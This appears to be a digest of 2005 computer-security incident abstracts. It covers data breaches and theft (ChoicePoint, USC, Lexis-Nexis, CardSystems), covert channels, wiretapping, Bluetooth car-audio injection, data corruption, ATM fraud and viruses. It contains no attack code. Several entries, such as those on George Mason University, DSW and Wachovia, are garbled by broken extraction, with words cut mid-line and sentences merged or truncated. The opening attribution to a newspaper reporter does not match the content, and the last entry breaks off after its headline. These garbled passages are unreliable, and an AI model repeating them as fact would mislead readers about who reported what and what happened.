
[Excerpt from a report by Barb Berggoetz, writing for the Indiana Star newspaper]

Category 11.2 Unauthorized disclosure 2005-06-24 personal sensitive consumer information disclosure data broker ChoicePoint Social Security Numbers

EDUPAGE; http://online.wsj.com/article/0,,SB111957007176668246,00.html

CHOICEPOINT CHANGES PRACTICES TO AVOID REPEAT DISCLOSURE

Following the high-profile loss of personal information on nearly 145,000 individuals, data broker ChoicePoint said it will make significant changes to its business procedures to prevent future security breaches. In its reports, the company will begin masking Social Security numbers, and it will limit the amount of business it conducts with certain customers, including private investigators, collection agencies, and small financial companies. ChoicePoint has also begun offering access to individuals--at no charge--to the information that the company keeps on them. Though not widely advertised, the new service provides one annual report of "personal public records" searches. ChoicePoint currently maintains a vast database of information culled from public and business records on nearly every adult in the United States. After the security breach that exposed so many individuals to identity theft, Congress held hearings on ChoicePoint and other data brokers and is considering tightening regulation of the data industry. Wall Street Journal, 24 June 2005 (sub. req'd)

Category 11.2 Unauthorized disclosure

2005-07-06 student applicants university database privacy data leakage vulnerability accessibility control confidentiality Web

RISKS; http://www.theregister.co.uk/2005/07/06/usc_site_cracked/ 23 93

UNIVERSITY OF SOUTHERN CALIFORNIA ONLINE APPLICATIONS SYSTEM FLAWED

A programming error in the University of Southern California's online system for accepting applications from prospective students left the personal information of ``hundreds of thousands of records" publicly accessible. The flaw was discovered by a student in the process of applying.

[Abstract by Peter G. Neumann]

Category11.2Unauthorized disclosure2005-07-06vulnerability flaw University of Southern California online application system
Website applicant data exposure

EDUPAGE; http://www.theregister.co.uk/2005/07/06/usc_site_cracked/

FLAW ALLOWS ACCESS TO USC ADMISSIONS SITE

Officials at the University of Southern California (USC) acknowledged that a flaw in the school's online application system left personal data on applicants to the university exposed to hackers. The vulnerability was discovered by a student, who found the problem when he was was using the system to apply to USC. He reported it to Internet security firm SecurityFocus, which then notified the university. The flaw reportedly exposed information including names, birth dates, and Social Security numbers on many thousands of applicants. After being notified of the problem, USC initially disabled only the log-in functionality but has since taken down the entire application. USC officials disclosed neither the number of individuals whose data was affected nor whether it would notify those affected. Under a recently enacted California law, consumers must be notified in the event that their personal information has been accessed without authorization. The Register, 6 July 2005

Category 11.2 Unauthorized disclosure 2005-08-03 Cisco security breach passwords reset search engine vulnerability source code not exposed

DHS IAIP Daily;

http://www.computerworld.com/developmenttopics/websitemgmt/s tory/0,10801,103661,00.html

CISCO PASSWORDS RESET AFTER WEBSITE EXPOSURE

Cisco Systems Inc. is resetting passwords for all registered users of its Cisco.com Website after discovering a vulnerability in its search engine software that left user passwords exposed, the company said Wednesday, August 3. The passwords are used by Cisco customers, employees and partners who have registered on the Website to get access to special areas of the site or to receive e-mail alerts, said Cisco spokesperson John Noh. Cisco was made aware of the problem early Monday and corrected it immediately, Noh said. As a precaution, the company is now in the process of sending out new passwords to all registered users of Cisco.com, who will be unable to access password-protected areas until they receive their new passwords, Noh said. Noh could not say how long it will take to send out all of the new passwords. The vulnerability could not be exploited to gain access to sensitive information like Cisco's source code, he said. "We do not believe any sensitive data were compromised as a result of this."

Category 11.2 Unauthorized disclosure

information disclosure psychological records school Massachusetts

2005-12-02 RISKS;

http://www.boston.com/news/education/k_12/articles/2005/12/02/school_psyc hologists_student_records_accidentally_posted_online/ 11

24

STUDENT PSYCHOLOGICAL INFORMATION DISCLOSURE

Peter Neumann summarizes an article in _Boston Globe_ article, a case of sensitive information being disclosed:

A school psychologist's records detailing students' confidential information and personal struggles were accidentally posted to the school system's Web site and were publicly available for at least four months. A reporter for *The Salem News* [Mass.] discovered the records last week and alerted school officials, the newspaper said in a story Friday. To protect students' privacy, the newspaper said it withheld publishing the story until the documents were removed from the Internet, which occurred Wednesday.

24

12

Category 11.2 Unauthorized disclosure 2005-12-08 Meijer superstores employee personal sensitive information SSN disclosure accidental

RISKS

MEIJER EMPLOYEE INFORMATION DISCLOSURE

RISKS contributor James Bauman received a letter about his daughter's health insurance benefit choices from her employer, Meijer Stores. However, the letter was not addressed to his daughter, and contained personal information about another Meijer employee. Mr. Bauman notes:

Because the other person had waived his benefits like my daughter had, there was little information. But, if the person had chosen a benefits package and had decided to cover their dependents, then the following information for the dependents would have been listed: names, relationship, birth date, sex, and social security number.

When Mr. Bauman telephoned Meijer about this information-disclosure problem, they said that they were aware of the issue: they asked employees who had received someone else's letter to destroy it.

Mr. Bauman concludes:

I hope their employees do the right and honorable thing, and do not use the identifying information for nefarious purposes, but we all know that the lamp of Diogenes would go out when within a mile of a few people...the ones we all worry about.

[Summary by Karthik Raman]

11.3 Data theft

Category 11.3	Data theft	
2005-01-11	data theft university records SSN identity theft server crackers	
RISKS; http://	www.gmu.edu/prod/alerts/supportcenter/index.jsp?ID=1157 23 66	
GEORGE MAS	ON UNIVERSITY LOSES CONTROL OF ID DATA	
James Bauman v	rote in RISKS:	
photos, Social S	orge Mason University in Virginia was compromised by crackers who stole personal information ("names, curity numbers and (campus ID) numbers of all members of the Mason community who have identificati) students, faculty, and staff.	
The mega-risk h growing crimes	ere is obvious tens of thousands of people who may become victims of identity theft, one of the fastest n America.	
Category 11.3	Data theft	
2005-03-08	data theft credit card customer retail store database delayed discovery credit car	d
RISKS; nce.lyc	os.com/home/news/story.asp?story=47512557 23 78	
CREDIT INFO	RMATION STOLEN FROM DSW STORES	
database over the card and person chain's parent, F	mation from customers of more than 100 DSW Shoe Warehouse stores was stolen from a company comp e last three months, a lawyer for the national chain said Tuesday. The company discovered the theft of cre l shopping information on Friday and reported it to federal authorities, said Julie Davis, general counsel fe etail Ventures Inc. The Secret Service is investigating, she said. DSW was alerted by a credit card compar- is activity, she said.	edit or the
Category 11.3	Data theft	
2005-04-14	data theft compromise personal information social security numbers SSN driver license unauthorized access identity theft database	s'
RISKS; http://	tinyurl.com/89ql3 23 84	
310,000 LEXIS-	NEXIS RECORDS ACCESSED BY IDENTITY THIEVES	
Peter G. Neuma	nn summarized a major data-theft case:	
771 C1 1		

The saga of hacked personal information continued with a report as we go to press that Lexis-Nexis admitted to having been victimized by the theft of personal records of 310,000 people (10 times more than originally reported), including SSNs and drivers' license numbers. 59 cases were discovered of access by unauthorized persons using legitimate IDs and passwords. 64,145 of those lost records involved California residents.

Monty Solomon added:

A computer security breach at Polo Ralph Lauren Corp. that has recently roiled two major credit card companies actually occurred last fall. But Polo only made the problem public on 14 Apr 2005.

Category 11.3	Data theft		
2005-04-15	data theft compromise personal information credit card intretail store	formation id	entity theft
RISKS; http://tinyur	l.com/4upt7	23	84
· ·	EN CUSTOMER DATABASE ATTACKED		
Peter G. Neumann sum	marized yet another data-theft case:		
major credit card firm, I first surfaced this week	er system breach at a national retailer widened on 13 Apr 2005 to involve out those companies refused to divulge the name of the retailer. The exis when HSBC North America began notifying 180,000 of its GM MasterC otentially been compromised. HSBC, which issues the GM cards, urged o ble.	tence of the se ard customers	curity breach that their credit
Category 11.3	Data theft		
2005-04-15	data theft compromise personal information credit card in Social Security Number SSN university alumni association		entity theft
RISKS		23	84
TUFTS ALUMNI DA	l'A COMPROMISED		
	sending letters to 106,000 alumni, warning of "abnormal activity" on their ddresses, phone numbers, and, in some cases, Social Security and credit c		
Category 11.3	Data theft		
2005-05-23	data theft financial records insider crime debt collection ch	narges	
RISKS; http://tinyur	l.com/b5khe	23	88
A BANK YOU MIGH	T NOT WANT TO HAVE WACHOVIA		
records may have been be affected, according to affected were Commerce millions of dollars through	mers of Wachovia Corp. And 600,000 of Bank of America Corp have be stolen by bank employees and sold to collection agencies. Nearly 700,000 o police in Hackensack, N.J. Nine people have been charged, including st the Bank and PNC Bank of Pittsburgh. Collection agent Orazio Lembo Jr tigh the scheme. Lembo received lists of people sought for debt collection workers, who would compare those names to their client lists. The bank er to Lembo, Zisa said.) customers of even bank wor ., 35, of Hacke n and turned th	four banks may kers. Also nsack made nat information
	he potential for identity theft, a laptop containing the names and Social S I Inc. Employees was stolen last month from the car of an MCI financia		
[Abstracts and pun by I	Peter G. Neumann]		
Category 11.3	Data theft		
2005-06-20	data theft penetration criminal hackers credit card banking archiving permission policy violation virus identity theft fra		vstems
RISKS		23	91
CARDSYSTEMS KEE	PS OLD DATA, GETS THEM STOLEN		
been the source what w Express). In violation of with the intent of analyz	AZ company that handles credit card transactions for smaller banks and as reported as the potential compromise of 40,000,000 credit cards (Visa, of established procedures, CardSystems was keeping old transactions onlir zing incompletely processed transactions. Something on the order of of 2 70,000 bogus charges have already been reported. The CardSystems syste of the information.	MasterCard, and ne for researce 200,000 cards n	nd American ch purposes nay be

[Abtstract by Peter G. Neumann]

Category 11.3	Data theft		
2005-08-22	criminal hackers penetration security breach data the	it personal informa	ation
RISKS; http://www.f	fcw.com/article90229-08-19-05-Web	24	02
USAF PERSONNEL DATABASE COMPROMISED			

Using an airman's log-in information to access the online Assignment Management System (AMS) and download data from it, someone gained access into an Air Force personnel system and accessed individual information on about half of its officers and "a handful" of its noncommissioned officers. The Air Force has started notifying more than 33,000 service personnel of the security breach, according to a statement. ... Air Force officers can log in at www.afpc.randolph.af.mil/vs to see if their information was compromised. The service will call the enlisted members whose information the hackers viewed.

[Abstract by Ross Stapleton-Gray]

11.4 Covert channels

Category	11.4	Covert channels		
2005-03-0)1	data leakage device recognition clock skews		
RISKS; ht	ttp://www.cs	se.ucsd.edu/users/tkohno/papers/PDF/	23	77
COMPUT	ER CLOCK (CHARACTERISTICS ALLOW TCP/IP DEVICE IDENTIFICATION		
Tadayoshi	Kohno wrote:			
fingerprint fingerprint a low level, (RFC 1323	ing, or remote ee. At a high l , our preferred). When this o he following w	bido and kc claffy from CAIDA, I have been working on methods for remote ly fingerprinting a physical device without any modification to or known coo- evel, our fingerprinting techniques exploit microscopic deviations in device h technique exploits the fact that most modern TCP stacks implement the TC option is enabled, outgoing TCPs packets leak information about the sender's ell-known observation: there can be security relevant information in what one	peration from t aardware: clock P Timestamps s clock. This w	he skews. At Option ork further
	In a follow-up posting by Markus Roth in RISKS 23.80, he clarifies the precision of this kind of identification; the following is an excerpt from a much longer text:			llowing is
devices. If	there are 200	their method will allow you to learn 6 bits of information about a device. We million computers on the Internet, their method would divide the world into omputer would look identical to 3 million other computers!		
microsecor shows a 45	This technique would be useful to show negative but not positive results. If a laptop in Berlin gives a skew value of 26 microseconds, you can conclude that it is a different laptop than the one in New York. But if an arbitrary laptop in Berlin shows a 45 microsecond skew, you can only say that there are 3 million other computers like it. You cannot conclude that it is the same laptop that was once in New York.<			
< http://w		vailable here: du/users/tkohno/papers/PDF/ > /outreach/papers/2005/fingerprinting/ >		
Category	11.4	Covert channels		
2005-05-0)1	data leakage covert channel PDF classified report accessibility		
RISKS; ht	ttp://it.slashe	dot.org/it/05/05/01/1314216.shtml?tid=172&tid=103	23	86
ACROBA	I' PDF FILES	WITH "BLACKED-OUT" TEXT ARE READABLE		

Bob Blakely III pointed out that using PDF files with blacked-out areas as a medium for preventing restricted information from being read does not work. In the case "of the classified report on the Nicola Calipari/Giuliana Sgrena incident[,] Italian newspaper (Corriere Della Sera) recovered and posted the classified text by performing a 'copy and paste' operation on the blacked-out sections."

Category 11.4	Covert channels
2005-11-03	breach confidentiality data leakage covert channel e-mail accidental release
	consequences stock exchange user ignorance training

RISKS; http://tinyurl.com/bu6so

DATA LEAKAGE VIA SPREADSHEET SENT BY E-MAIL

10

24

Westpac..., a large Australian bank, was forced to halt trading on its shares and deliver its annual profit briefing a day early after it accidentally sent its results by email to research analysts.

A template containing past results was sent to analysts. It was soon discovered that the new figures were embedded in the spreadsheet and were accessible with via "a minor manipulation". Analysts telephoned the bank to report the error and the template was recalled.

But the damage was done. The Australian Stock Exchange was notified and trading was suspended as it appeared that some people had access to information not generally available to the market. The bank then brought forward its results announcement.

[Summary contributed by David Shaw]

Patrick O'Beirne reported that it appears that the critical data were "obscured" by using black shading on the cells involved (!).

Westpac Chief Financial Officer, Philip Chronican, said there was no evidence that the figures had been circulated and there were no signs of disorderly trading in Westpac shares. He added: "It is not just one error, it is a compounding of two or three errors ... We will obviously be conducting a full inquiry to make sure it doesn't happen again."

12.1 Wiretapping

Category 12.1 Wiretapping

2005-02-18 espionage wire tapping optical cable undersea submarine military

http://www.cnn.com/2005/US/02/18/submarine.secrets.ap/index.html

NUCLEAR SUBMARINE WOULD TAP UNDERSEA CABLES?

Intelligence analysts claimed that the new USS Jimmy Carter nuclear submarine would include equipment for tapping undersea cables, including fiber-optic cables, in addition to the usual complement of SIGINT equipment for radio communications interception.

Category 12.1	Wiretapping		
2005-11-30	wiretapping unreliable study law enforcement warrants implic	ations Matt I	Blaze
RISKS; http://www.ih	tt.com/articles/2005/11/30/business/taps.php	24	11

STUDY: WIRETAPPING NOT RELIABLE

A _New York Times_ article discussed a study about the flaws of wiretapping done by Matt Blaze, a professor at the University of Pennsylvania. The study found that, using off-the-shelf equipment, it was possible to subvert law enforcement and other wiretapping by stopping the recorder remotely and falsifying the numbers dialed. Prof. Blaze noted, "This has implications not only for the accuracy of the intelligence that can be obtained from these taps, but also for the acceptability and weight of legal evidence derived from it".

The original article includes the following interesting detail (quoted):

* According to the Justice Department's most recent wiretap report, state and U.S. Courts authorized 1,710 "interceptions" of communications in 2004.

* To defeat wiretapping systems, the target need only send the same "idle signal" that the tapping equipment itself sends to the recorder when the telephone is not in use. The target could continue to have a conversation while sending the forged signal.

* The tone, also known as a C-tone, sounds like a low buzzing and is "slightly annoying," Blaze said, "but would not affect the voice quality" of the call."

[Abstract by Karthik Raman and MK]

12.3 Injection

Category 12.3	Injection
2005-08-09	bluetooth wireless communications insertion attack automobile car radio fraud fake message alerts

RISKS; http://trifinite_org/trifinite_stuff_carwhisperer.html 24 01

INJECTION ATTACKS ON CAR AUDIO

Martin Herfurt of the Car Whisperer project created a proof-of-concept device called "Car Whisperer" that allows hackers to inject audio into Bluetooth-equipped vehicles. Part of the summary is as follows:

>The carwhisperer project intends to sensibilise manufacturers of carkits and other Bluetooth appliances without display and keyboard for the possible security threat evolving from the use of standard passkeys.

A Bluetooth passkey is used within the pairing process that takes place, when two Bluetooth enabled devices connect for the first time. Besides other public data, the passkey is a secret parameter used in the process that generates and exchanges the so-called link key. In Bluetooth communication scenarios the link key is used for authentication and encryption of the information that is exchanged between the counterparts of the communication.

The cw_scanner script is repeatedly performing a device inquiry for visible Bluetooth devices of which the class matches the one of Bluetooth Headsets and Hands-Free Units. Once a visible Bluetooth device with the appropriate device class is found, the cw_scanner script executes the carwhisperer binary that connects to the found device (on RFCOMM channel 1) and opens a control connection and connects the SCO links.

The carwhiperer binary connects to the device found by the cw_scanner. The passkey that is required for the initial connection to the device is provided by the cw_pin.pl script that replaces the official Bluez PIN helper (graphical application that usually prompts for the passkey). The cw_pin.pl script provides the passkey depending on the Bluetooth address that requests it. Depending on the first three bytes of the address, which references the manufacturer, different passkeys are returned by the cw_pin.sh script. In quite a few cases the preset standard passkey on headsets and handsfree units is '0000' or '1234'.

Once the connection has been successfully established, the carwhisperer binary starts sending audio to, and recording audio from the headset. This allows attackers to inject audio data into the car. This could be fake traffic announcements or nice words. Attackers are also able to eavesdrop conversations among people sitting in the car.<

Herfurt adds, "In order to avoid getting attacked by carwhisperer, manufacturers should not use standard passkeys in their Bluetooth appliances. Moreover, there should be some kind of direct interaction with the device that allows a device to connect. Another recommendation would be to switch the handsfree unit to invisible mode, when no authorized device connects to it within a certain time."

13.1 Data diddling

Category 13.1 Data diddling

2005-04-10	road construction message board criminal hacker joke pr	ank speed limit	
RISKS; http://tinyur	l.com/8xw8g	23	84

RISKS; http://tinyurl.com/8xw8g

MICHIGAN ROADSIGN BOARD HACKED

Drivers on southbound Interstate 75 in Michigan saw a construction message board that previously had been alerting drivers in Genesee County near Clio that construction was soon to start. One morning it said "speed limit 100 mph go go go." (The speed limit in that area is 70 mph. The sign is controlled remotely by a subcontractor's computer.) [Abstract by Peter G. Neumann]

13.2 Data corruption & destruction

Category 13.2	Data corruption & destruction
2005-03-03	GFI security firm accidental data loss customer e-mail deletion free upgrades
	compensation BitDefender MailSecurity

DHS IAIP Daily; http://news.zdnet.co.uk/0,39020330,39189933,00.htm

SECURITY FIRM DELETED CUSTOMERS' E-MAILS

An e-mail security scanning company has accidentally deleted thousands of its customers' e-mails. GFI is now offering free upgrades to all its customers after it deleted their e-mails by sending out incorrect update information. According to GFI, the problem occurred because of a change in BitDefender's technology, one of the products that GFI uses for its e-mail scanning. When the GFI MailSecurity update mechanism tried to install BitDefender updates on customer networks, the service started to delete all e-mails by default. BitDefender and GFI then rolled back the updates. GFI has promised all customers a free upgrade to its MailSecurity 9 product, which is available in two months. The company has also released a tool that can tell customers which e-mails were deleted and when.

Category	13.2	Data corruption & destruction		
2005-04-1	9	software quality assurance Web sales supervision approval contractual obligation financial loss integrity	error glitch	bug
RISKS; http://tinyurl.com/ahal9		23	85	

US AIRWAYS HONORS 1,000 TICKETS AT \$1.86 DUE TO COMPUTER GLITCH

A computer error forced the bankrupt airline US Airways to sell over 1,000 tickets on the Web to people who payed \$1.86 for each of them in mid-April 2005. News got out fast on the Web and some buyers bought ore than a dozen tickets simply to be able to swell their frequent-flyer miles for later use. US Airways honored all its contractual obligations despite the enormous cost.

Category 13.2	Data corruption & destruction
2005-07-11	medical database laboratory results data integrity corruption mixup confusion error tests treatments

RISKS; http://www.canada.com/calgary/calgaryherald/index.html		94

MEDICAL LAB DATABASE CORRUPTION AFFECTS 2,000 PATIENTS

[A] web database used by the Calgary Health Region to track and distribute results of lab tests has suffered a "glitch". According to the article that appeared today, "The Calgary Health Region announced Sunday that an Internet database - which physicians use to view lab work such as blood and urine tests - mixed up results between patients and posted records under the wrong names. Officials are now contacting the offices of nearly 400 doctors and other health providers who saw the incorrect records, to ensure patients are receiving proper treatment." Doctors are concerned that the mix-up means some patients are now receiving incorrect treatments which can complicate their conditions, or that patients are receiving treatments they don't need. Additionally, some patients may be fretting needlessly over their lab results because of the mix-up while others may be in for some unpleasant surprises when they receive the correct results.

[Abstract (lightly edited by MK) by R. A. Tremonti]

Category 13.2 Data corruption & destruction

2005-11-09 software quality assurance testing accounting error financial report

RISKS; http://tinyurl.com/djshs

ACCOUNTING SOFTWARE BUG CAUSES \$220M ERROR

"Freddie Mac will reduce its profit for the first half of 2005 by \$220 million because of an error caused by faulty accounting software, the mortgage finance company said yesterday. ... The error stems from a flaw in the accounting program Freddie Mac has used since 2001. In a recent review of the company's accounting system, Freddie Mac employees realized the software was routinely overstating the amount of interest that the housing finance company earned from certain types of mortgage-backed securities that it bought for investment purposes, spokesman Michael Cosgrove said."

[Contributed by Jeremy Epstein]

09

24

13.3 Embezzlement

Category 13.3 Embezzlement

2005-10-21 bank fraud identification authentication I&A personal identification numbers PINs insider crime fraud theft embezzlement test accounts algorithms inference lawsuits

RISKS; http://www.theregister.co.uk/2005/10/21/phantoms_and_rogues/ 24 08

CONVOLUTED TALE OF THE GHOST WITHDRAWALS

Charles Arthur reported in _The Register_ on a fascinating case of incompetence and criminality in the British banking system. In "How ATM fraud nearly brought down British banking" he tell of how junior barrister (lawyer) Alistair Kelman discovered in the early 1990s that

* Thousands of people were being charged for withdrawals from their bank accounts that they did not make ("ghost withdrawals").

* Banks denied the possibility of error or fraud until experts such as Prof Ross Anderson of Cambridge University convinced the courts that the claim of infallibility was nonsense.

* There were thousands of cards which delivered money without deducting it from the owner's account -- they were actually using dummy accounts created by the programmers.

* Rogue programmers at a particular bank altered the PIN-generator to create only 3 unique PINs for all bank cards -- allowing them to steal money from any account at will.

This last discovery was very serious indeed:

>This "gave me major concern," says Kelman. "The security of the entire ATM network upon which the UK banking system was based was predicated on nobody knowing your PIN." He could see that if this reached the media, people would begin comparing PINs, and on finding identical ones would tell others, and the security system used by the banks would collapse overnight. Then there would be a dramatic run on the banks ... as everyone tried to take their money to a safer place, such as under the mattress.

And there wasn't time for the banks to fix the problem if anyone went public with it. Their MTBU was too short. MTBU? That's "Maximum Time to Belly Up", as coined by the majestic Donn Parker of Stanford Research Institute. He found that businesses that relied on computers for the control of their cash flow fell into catastrophic collapse if those computers were unavailable or unusable for a period of time. How long? By the late 1980s it had fallen from a month to a few days. That's not a good thing; it meant that a collapse of the computers that any UK clearing bank relied on would destroy it in less than a week.

Just as Kelman was about to reveal the fatal vulnerability in a secret meeting of bank security experts in June 1993, he was dismissed by his last clients, losing the legal right to intervene in the issue. He kept quiet for more than 10 years, hoping that no one else would discover this dreadful vulnerability.

>"Fortunately for the UK banking system and the British people, nobody else did discover what I found about the activities of the Rogue Bank," Kelvin notes. Two years later, though, he had corroboration of what he had learnt: "the computing staff at the [Rogue] bank were completely out of control and engaged in multiple frauds."<

[Pointer to article contributed to RISKS by Andrew King; summary by MK using extracts from original article.]

14.1 Viruses

Category 14.1	Viruses
2005-01-06	Microsoft enter antivirus market anti-spyware technology release Windows XP Update Automatic

DHS IAIP Daily; http://www.pcworld.com/news/article/0,aid,119197,00.asp

MICROSOFT TO ENTER THE ANTIVIRUS MARKET

Microsoft announced Thursday, January 6, the release of anti-spyware technology and said it would begin giving away an improved tool to remove worms and viruses from its customers' computers. While the free antivirus and virus removal tools are not an immediate threat to the products from competing companies, the releases could signal tougher times ahead for desktop security vendors, as Microsoft uses its size and influence to expand into markets now dominated by those companies, industry experts say. A spokesperson for Microsoft's Security Business & Technology Unit, says that spyware is a major concern for Microsoft customers, who are looking to the company for help. Spyware accounts for more than one-third of software program crashes on Windows XP that are reported to the company. Microsoft also says that it is releasing a free malicious-software removal tool that consolidates earlier software tools for eradicating the Blaster, MyDoom, and Sasser worms, and that will be updated each month to detect and remove other threats as they appear. Windows customers will be able to receive the malicious-code removal tool through Windows Update and the Windows Automatic Update features.

Category 14.1 Viruses 2005-01-31 new virus anti-virus antivirus attack technique bypass filter ZIP RAR .zip .rar file compression algorithm

DHS IAIP Daily; http://www.eweek.com/article2/0,1759,1756636,00.asp

NEW VIRUS ATTACK TECHNIQUE BYPASSES FILTERS

Administrators and service providers have begun seeing virus-infected messages with a new type of attachment hitting their mail servers: an .rar archive. .Rar files are similar to .zip files in that they are containers used to hold one or more compressed files. The .rar format is not as widely known as .zip, but it is used for a number of tasks, including compressing very large files, such as music and video. Many of the messages in .rar virus e-mail are invitations to view pornographic content, which is part of the reason for the viruses' success, experts say. .Rar's compression algorithm is 30 percent more efficient than .zip technology. One recent .rar virus that appeared at the end of last week is disguised as a patch from Microsoft. Anti-virus vendors have acknowledged the presence of viruses delivered as .rar files and are working to develop tools to identify and eradicate the malware.

Category 14.1 Viruses

2005-02-22 Federal Bureau Investigation FBI warning computer virus fbi.gov address Internet Fraud Complaint Center

DHS IAIP Daily; http://www.washingtonpost.com/wp-dyn/articles/A45131-2005Feb 22.html

FBI OFFICIALS WARN ABOUT COMPUTER VIRUS

The FBI warned Tuesday, February 22, that a computer virus is being spread through unsolicited e-mails that purport to come from the FBI. The e-mails appear to come from an fbi.gov address. They tell recipients that they have accessed illegal Websites and that their Internet use has been monitored by the FBI's "Internet Fraud Complaint Center," the FBI said.

Category 14.1	Viruses
2005-02-24	malware virus alert Web site government notification notice news users vulnerability
	social engineering exploit

RISKS; http://news.bbc.co.uk/1/hi/technology/4291005.stm 23 75

UK GETS OFFICIAL VIRUS ALERT SITE

Chris Leeson relayed information from a BBC News report that "The UK government is setting up a Virus Alert site to warn users of viruses, vulnerabilities and so on. It is aimed at home and small business users... It is expected to issue between six and ten alerts a year, concentrating on the most major problems. It will not provide patches, but will point the user to where the patches can be downloaded. It is also made clear that the site is not a panacea or a substitute for proper AV and Firewall provision."

However, Leeson warned,

>Alas, there remains a number [of] problems:

1. This would be a great site for the Malware Brigade to spoof. I hope that it is more secure than most Web Sites.

2. They are concentrating on the most serious threats. Understandable, but even the "less serious" threats can be trouble.

3. Most PC users are simply not interested in PC Security and won't be convinced that they have to be. The new users may well not realise that they are exposed at all. (I am a little sore about this having just spent three days trying to salvage someone's XP system after the PC had spent two weeks on Broadband without Firewall or AV...)<

Category 14.1 Viruses

2005-05-18 computer virus German election influence ring wing hacktivism Trojan Horse

DHS IAIP Daily; http://www.iht.com/articles/2005/05/17/business/virus.php

COMPUTER VIRUS MAY BE AIMED AT GERMAN ELECTION

The creator of a computer Trojan horse that unleashed a torrent of far-right spam e-mail messages in Germany on Tuesday, May 17, may be trying to influence the outcome of the election Sunday, May 22, in North Rhine-Westphalia, a German software expert said. Computers infected with the so-called Sober.q Trojan horse unwittingly sent thousands of spam e-mails bearing links to the Website of the National Democratic Party (NPD), a party that espouses "Germany for Germans," the death penalty for some drug dealers and an end to asylum-seeker rights. "This is most likely connected to the election coming up on Sunday," said Christoph Hardy, a spokesperson for the German unit of Sophos, a British anti-virus software company. "It was probably generated by someone who is sympathetic to the far-right, trying to create anger and a protest vote in Sunday's election." Sober.q was reported to have spread widely around Europe and also to have infected computers in the United States and Asia. The originator of the Trojan horse was most likely German because the programming language used to create the Trojan horse was German, as was the language in the e-mail.

Category 14.1 Viruses

2005-06-03 virus Osama bin Laden e-mail junk attachment Microsoft Windows solution upgrade Windows

DHS IAIP Daily; http://news.bbc.co.uk/1/hi/technology/4607203.stm

FAKE OSAMA BIN LADEN E-MAILHIDES VIRUS

Users are being warned not to open junk e-mail messages claiming Osama bin Laden has been captured. The messages claim to contain pictures of the al Qaeda leader's arrest but anyone opening the attachment will fall victim to a Microsoft Windows virus. Since June 1, anti-virus companies have been catching the junk mail messages in large numbers. Anyone opening the attachments or visiting the Website will get a version of the Psyme trojan installed on their PC. The vulnerability exploited by Psyme is found in Windows 2000, 95, 98, ME, NT, XP and Windows Server 2003. Users are urged to update their version of Windows to close the loophole.

 Category
 14.1
 Viruses

 2005-06-09
 new virus vulnerability scanner hacker methods botnets

 DHS IAIP Daily; http://www.newscientist.com/article.ns?id=dn7500

NEW TYPE OF VIRUS SCANS NETWORKS FOR VULNERABILITIES

An emerging breed of computer virus that keeps hackers informed about the latest weaknesses in computer networks has been discovered by security experts. The viruses infect a computer network, scan for security vulnerabilities and then report back to hackers through an Internet chatroom. Armies of computers infected with "bot" viruses are routinely controlled via a chatroom connection and are used to knock for denial of service attacks or as a conduit for sending out spam e-mail. However, the ability of some bots to scan their hosts for unpatched security holes and report their findings back to hackers has gone largely unnoticed until now. The emerging class of malware or malicious software - known as vulnerability assessment worms - "phone home" to allow hackers to fine-tune further attacks or perhaps even target an individual PC within a network. This pernicious form of program is just one of a growing number of new viruses identified each month, says computer security expert Bruce Schneier. "The virus trend doesn't look good," Schneier writes in the June 2005 edition of the Association for Computing Machinery journal, Queue. "More than a thousand new worms and viruses were discovered in the last six months alone."

Category 14.1 Viruses

2005-07-29

virus writer targets anti-virus companies Sophos Symantec McAfee

DHS IAIP Daily; http://www.techweb.com/showArticle.jhtml?articleID=166403862

VIRUS WRITER TARGETS ANTI-VIRUS VENDORS

A virus writer apparently seeking notoriety instead of financial gain has released malicious code that ridicules anti-virus vendors and Sasser worm author Sven Jaschan, a security firm said Friday, July 29. The Lebreat-D virus, which is rated a low threat, creates in infected computers a JPEG image file of Jaschan, a German teenager recently convicted of authoring the widespread Sasser and Netsky worms, Sophos Plc said. The Lebreat worm, which is spread through email attachments and exploits a Microsoft security vulnerability, opens a backdoor to an infected Windows computer, enabling a hacker to gain control. The virus indicates that a denial of service attack could be planned against security vendors Symantec Corp. and McAfee Inc., but doesn't say when, Sophos said.

Category 14.1 Viruses 2005-09-22 PC phone crossover virus Trojan Symbian 60 operating system OS Bluetooth propagation

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2142665/first-pc-phone -cro ssover-virus

FIRST PC/PHONE CROSSOVER VIRUS FOUND

The first mobile phone virus capable of infecting a computer has been found. Experts at have detected the Cardtrp worm that affects handsets running the Symbian 60 operating system. This work spreads via Bluetooh and MMS but could also spread through memory cards. Mikko Hyppönen, chief research officer at F-Secure, said: "The goal of this backdoor Trojan is most likely to cause the user to infect his PC when he is trying to disinfect his phone.

Category 14.1 Viruses

2005-10-04 BBC News criminals victims spyware data viruses information MessageLabs

DHS IAIP Daily; http://news.bbc.co.uk/2/hi/technology/4306048.stm

WEB HELPS CRIMINALS TRAP VICTIMS

Statistics have shows that criminals are using spyware to get hold of personal data they can sell or use themselves. This is a shift from e-mailed viruses that were sent to steal this valuable information. According to Mark Sunner, chief technology officer at MessageLabs, "More and more malicious code is appearing in web traffic as opposed to e-mail."

Category 14.1	Viruses
2005-11-01	hacker virus e-mail computer hijacking botnets avian flu information social
	engineering

DHS IAIP Daily;

http://news.yahoo.com/s/nm/20051101/od_uk_nm/oukoe_uk_crime_ birdflu_hackers;_ylt=AiSkjGPhKv3hc6uuQZYRAPes0NUE;_ylu=X3oDM TA3NW1oMDRpBHNIYwM3NTc-

HACKERS USE BIRD FLU E-MAILS TO HIJACK COMPUTERS

Computer hackers are exploiting fears about avian flu by releasing a computer virus attached to an e-mail that appears to contain avian flu information. According to Panda Software, the virus Naiva. A masquerades as a word document with e-mail subject lines such as "Outbreak in North America" and "What is avian influenza (bird flu)?" When the file is opened, the virus modifies, creates, and delete files. The virus also installs a program that allows hackers to gain remote control of infected computers. The virus spreads through e-mails, Internet downloads, and file transfers.

Category 14.1 Viruses

2005-12-01 biggest virus attack outbreak November 2005 Sober FBI CIA messages social engineering

DHS IAIP Daily;

http://www.techweb.com/wire/security/174403317;jsessionid=0E Z1TE0ZK20WWQSNDBGCKHSCJUMEKJVN

SOBER ATTACK BIGGEST VIRUS OUTBREAK EVER

